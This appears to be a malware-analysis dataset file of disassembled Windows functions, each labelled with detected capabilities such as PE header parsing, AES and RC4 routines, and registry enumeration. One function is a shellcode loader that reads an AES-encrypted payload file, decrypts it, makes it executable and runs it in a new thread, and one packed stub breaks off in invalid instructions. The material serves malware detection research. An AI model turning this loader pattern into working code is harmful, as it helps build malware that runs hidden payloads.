joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001890
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x1400019c0
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400018db
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001965
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400018c0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x1400019e2
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400019c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000195e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001970
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000195e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400018e8
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001fac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001fa3
test rsi, rsi
je 0x140001fa3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400021c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop

Function at 0x1400021d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
Function at 0x1400021e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400021f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002200
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002210
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000225d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140002254
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000225f
add rax, 0x28
cmp rax, r9
jne 0x140002240
xor eax, eax
ret

Function at 0x140002260
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400022f0
mov rdx, qword [0x140004530]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400022de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400022de
cmp word [rax + 0x18], 0x20b
jne 0x1400022de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400022f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400022c9
add rbx, 0x28
cmp rbx, rdi
je 0x1400022f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400022c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002300
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004530]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002320
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002328
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002320
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000237d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002374
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002320
add rax, 0x28
cmp rax, r9
jne 0x140002360
xor eax, eax
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004530]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000239f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000239f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400023c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004530]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400023e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400023e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400023e0
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002430
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002427
test rcx, rcx
je 0x1400023e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002418
xor eax, eax
ret

Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004530]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000245f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002468
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002480
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004530]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024a0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x1400024a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400024f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002500
add rdx, 0x28
cmp r9, rdx
jne 0x1400024e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002510
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004530]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002532
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002540
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002532
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002532
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002532
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140002595
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400025a8
add rdx, 0x28
cmp rdx, r10
jne 0x140002580
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400025b7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400025c7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000259e
test ecx, ecx
jg 0x1400025b0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140011212
Capabilities:
Terminate process

Disassembly:
jmp 0x140015f90
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128f
Capabilities:
Create thread
Read file on windows

Disassembly:
jmp 0x1400147e0
push rbp
push rdi
sub rsp, 0x408
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x96
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140021040]
xor rax, rbp
mov qword [rbp + 0x3c8], rax
lea rcx, [0x1400270b6]
call fcn.1400113b6
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x120
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14001485a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ERROR_VirtualAlloc:__d_n
call fcn.1400111b3
jmp 0x140014991
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x88
rep stosb byte [rdi], al
xor r8d, r8d
lea rdx, [rbp + 0x30]
lea rcx, str.D:etcMALDEVPayloadExecutionCalcAES.bin
call qword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [rbp + 0xd4], eax
movsxd rax, dword [rbp + 0xd4]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x120
mov rdx, qword [rbp + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd rax, dword [rbp + 0xd4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x140021020]
lea rdx, section..data
lea rcx, [rbp + 0x100]
call fcn.14001139d
mov r8d, 0x120
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x100]
call fcn.1400113d9
mov dword [rbp + 0x214], 0
lea r9, [rbp + 0x214]
mov r8d, 0x20
mov edx, 0x120
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001492a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ERROR_VirtualProtect:__d_n
call fcn.1400111b3
jmp 0x140014991
xor eax, eax
cmp eax, 1
je 0x14001498e
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
jne 0x14001497a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ERROR_CreateThread:__d_n
call fcn.1400111b3
jmp 0x140014991
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140014991
call qword [rbp + 8]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001e110]
call fcn.14001133e
mov eax, edi
mov rcx, qword [rbp + 0x3c8]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x3d8]
pop rdi
pop rbp
ret
Function at 0x140011299
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400172e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017300
xor al, al
jmp 0x140017381
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017313
xor al, al
jmp 0x140017381
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001733d
xor al, al
jmp 0x140017381
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017351
xor al, al
jmp 0x140017381
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017363
xor al, al
jmp 0x140017381
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001737f
xor al, al
jmp 0x140017381
mov al, 1
add rsp, 0x38
ret
Function at 0x140011ef0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov byte [rsp + 8], cl
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14002700e]
call fcn.1400113b6
mov byte [rbp + 4], 0
jmp 0x140011f27
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x140011fac
mov byte [rbp + 0x24], 0
jmp 0x140011f3f
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x140011fa7
movzx eax, byte [rbp + 4]
mov rcx, qword [rbp + 0x128]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 0x120]
shl edx, 2
movzx r8d, byte [rbp + 4]
shl r8d, 2
lea edx, [r8 + rdx*4]
movzx r8d, byte [rbp + 0x24]
add edx, r8d
movsxd rdx, edx
mov r8, qword [rbp + 0x130]
movzx edx, byte [r8 + rdx]
movzx eax, byte [rax + rcx]
xor eax, edx
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 4]
mov r8, qword [rbp + 0x128]
lea rdx, [r8 + rdx*4]
mov byte [rdx + rcx], al
jmp 0x140011f36
jmp 0x140011f1e
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140013640
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14002700e]
call fcn.1400113b6
mov byte [rbp + 4], 0
jmp 0x14001366e
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x1400136cd
mov byte [rbp + 0x24], 0
jmp 0x140013686
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x1400136cb
movzx eax, byte [rbp + 0x24]
mov rcx, qword [rbp + 0x120]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 4]
movzx eax, byte [rax + rcx]
lea rcx, [0x14001dcb0]
movzx edx, byte [rbp + 0x24]
mov r8, qword [rbp + 0x120]
lea rdx, [r8 + rdx*4]
movzx r8d, byte [rbp + 4]
movzx eax, byte [rcx + rax]
mov byte [rdx + r8], al
jmp 0x14001367d
jmp 0x140013665
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140002050
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x1400055e8], rbx
je 0x1400020b7
cmp rax, rbx
jne 0x1400020aa
mov ebx, 1
mov esi, ebx
jmp 0x1400020bc
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000208f
mov ebx, 1
mov eax, dword [0x1400055f0]
cmp eax, ebx
jne 0x1400020d4
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x140002140
mov eax, dword [0x1400055f0]
test eax, eax
jne 0x140002135
mov dword [0x1400055f0], ebx
lea r15, [0x140003398]
lea rdi, [0x140003380]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x140002127
test eax, eax
jne 0x14000212b
cmp qword [rdi], r14
je 0x14000211c
mov rax, qword [rdi]
mov rcx, qword [0x140003360]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1400020fe
test eax, eax
je 0x14000213b
mov eax, 0xff
jmp 0x140002296
mov dword [0x140005024], ebx
mov edi, 0x1f
mov eax, dword [0x1400055f0]
cmp eax, ebx
jne 0x140002167
lea rdx, [0x140003378]
lea rcx, [0x140003368]
call sub.msvcrt.dll__initterm
mov dword [0x1400055f0], 2
test esi, esi
jne 0x140002175
mov rax, r14
xchg qword [0x1400055e8], rax
cmp qword [0x1400055f8], r14
je 0x1400021a8
lea rcx, [0x1400055f8]
call fcn.1400024b0
test eax, eax
je 0x1400021a8
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x1400055f8]
mov r9, qword [0x140003360]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x1400021c1
mov eax, 0xff
jmp 0x140002296
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x140002247
test ax, ax
je 0x1400021dc
test edx, edx
jne 0x140002247
sub ax, bx
cmp ax, di
ja 0x1400021f2
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x1400021dc
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.14000193c
mov dword [0x140005020], eax
cmp dword [0x140005040], r14d
jne 0x140002230
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140005024], r14d
jne 0x140002245
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140005020]
jmp 0x140002296
cmp ax, 0x22
jne 0x14000225b
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400021ca
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.1400a1000
add rsp, 0x28
jmp 0x140002050
Function at 0x14002b1b8
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x14003fda0], eax
call fcn.14002b940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14003fda0], 0
jne case.default.0x14002b20e
mov ecx, 1
call fcn.14002b940
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x14006faf9
invalid
Function at 0x1400071fd
Capabilities:
Encode data using xor

Disassembly:
push r13
push r9
push r14
mov r14d, 0x415f0
movabs r9, 0x140206000
push rdi
mov r13d, 0x4f41
mov ebp, 0x4f41
mov edi, 0xcf06
imul r13, rdi
movabs rdi, 0x100001b20
add r13, rdi
call 0x1400071fd
movabs r13, 0x1401bb5a6
add byte [rax], al
mov r14d, 0xe1d0
movabs r9, 0x14034a000
call 0x1400071fd
pop rdi
cmp r13, r9
jne 0x140007230
mov edi, dword [r13]
invalid
invalid
invalid

Function at 0x14000785c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400078a8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400078a0
cmp dword [rcx + 0x3c], edx
jl 0x1400078a0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1400078a0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x1400078a8
mov rax, rdx
add rsp, 0x18
ret

Function at 0x1400079d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400079f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400079f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140007b04
Capabilities:
Print debug messages

Disassembly:
jmp 0x140007b10
push rbx
sub rsp, 0x540
mov rax, qword [0x14016a508]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140007b8d
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x140007bad
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.1400071e0
add rsp, 0x540
pop rbx
ret
Function at 0x140007b10
Capabilities:
Print debug messages

Disassembly:
jmp 0x140007b10
push rbx
sub rsp, 0x540
mov rax, qword [0x14016a508]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140007b8d
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x140007bad
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.1400071e0
add rsp, 0x540
pop rbx
ret
Function at 0x140009ee8
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x14016a508]
xor rax, rsp
mov qword [rbp + 0x170], rax
and qword [rsp + 0x48], 0
mov rsi, rdx
and qword [rsp + 0x50], 0
mov r8, rdx
mov rdx, qword [rcx]
mov rdi, rcx
and qword [rsp + 0x58], 0
lea rcx, [rsp + 0x48]
mov r9d, 0x2001f
call fcn.140009b6c
mov ebx, eax
test eax, eax
jne 0x140009fac
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x70]
and qword [rsp + 0x28], 0
xor edx, edx
and qword [rsp + 0x20], 0
mov dword [rsp + 0x40], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
nop dword [rax + rax]
lea rcx, [rsp + 0x48]
test eax, eax
jne 0x140009f9a
lea rdx, [rsp + 0x70]
call fcn.140009ee8
jmp 0x140009f3e
call fcn.140008ef8
mov rdx, rsi
mov rcx, rdi
call fcn.1400094e0
mov ebx, eax
lea rcx, [rsp + 0x48]
call fcn.140008ef8
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.1400071e0
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret